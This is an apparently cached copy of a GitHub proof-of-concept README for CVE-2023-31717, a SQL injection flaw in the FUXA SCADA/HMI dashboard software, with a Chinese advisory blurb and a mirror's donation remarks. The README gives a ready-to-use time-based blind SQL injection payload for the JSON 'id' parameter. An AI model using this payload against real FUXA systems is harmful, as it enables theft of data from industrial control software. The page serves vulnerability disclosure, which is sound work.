CVE-2023-31717 PoC — FUXA SQL注入漏洞

Source

https://github.com/MateusTesser/CVE-2023-31717

Associated Vulnerability

Title:FUXA SQL注入漏洞 (CVE-2023-31717)
Description:FUXA是一个开源的基于网络的过程可视化（SCADA/HMI/Dashboard）软件。 FUXA 存在安全漏洞，该漏洞源于存在 SQL 注入漏洞。

Readme

# CVE-2023-31717

It is possible to do SQL Injection into the HTTP POST id parameter passed in the body as json, being able to extract confidential information from the SQLite database

Payload -> "id":"n_7c734712-aabf4eb3' AND 2630=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'MIZH'='MIZH"

Name Affected product: FUXA

Version affected: <= 1.1.12

Problem: SQL Injection

Description:  It is possible to do SQL Injection into the HTTP POST id parameter passed in the body as json, being able to extract confidential information from the SQLite database

File Snapshot


 [4.0K]  /data/pocs/c831f12b1261e7542a5807a99724ab69b43d9307
└── [ 586]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!